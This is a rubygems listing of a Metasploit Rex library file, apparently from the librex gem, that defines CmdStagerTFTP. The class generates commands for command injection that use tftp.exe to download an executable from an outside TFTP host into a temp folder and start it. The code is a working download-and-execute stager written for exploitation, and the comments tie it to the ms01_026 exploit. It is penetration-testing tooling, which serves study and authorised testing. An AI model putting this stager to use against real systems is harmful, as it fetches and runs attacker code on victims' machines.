Sha256: 815ea93c1863abe2282a084771f9588e8176208675951feedecb28db7cd5bab4

Contents?: true

Size: 1.54 KB

Versions: 16

Compression:

Stored size: 1.54 KB

Contents

##
# $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
##

require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'

module Rex
module Exploitation

###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will
# be written to disk and executed.
#
# This particular version uses tftp.exe to download a binary from the specified
# server.  The original file is preserve, not encoded at all, and so this version
# is significantly simpler than other methods.
#
# Requires: tftp.exe, outbound udp connectivity to a tftp server
#
# Written by Joshua J. Drake
#
###

class CmdStagerTFTP < CmdStagerBase

	def initialize(exe)
		super

		@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
	end


	#
	# We override compress commands just to stick in a few extra commands
	# last second..
	#
	def compress_commands(cmds, opts)
		# Initiate the download
		cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"

		# Make it all happen
		cmds << "start #{@tempdir + @payload_exe}"

		# Clean up after unless requested not to..
		if (not opts[:nodelete])
			# XXX: We won't be able to delete the payload while it is running..
		end

		super
	end

	# NOTE: We don't use a concatenation operator here since we only have a couple commands.
	# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
	# the start command being issued separately so that it can ignore it :)

	attr_reader :payload_exe
end
end
end

Version data entries

16 entries across 16 versions & 1 rubygems

Version Path
librex-0.0.31 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.30 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.29 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.28 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.27 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.26 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.25 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.23 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.21 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.19 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.17 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.13 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.12 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.7 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.6 lib/rex/exploitation/cmdstager/tftp.rb
librex-0.0.5 lib/rex/exploitation/cmdstager/tftp.rb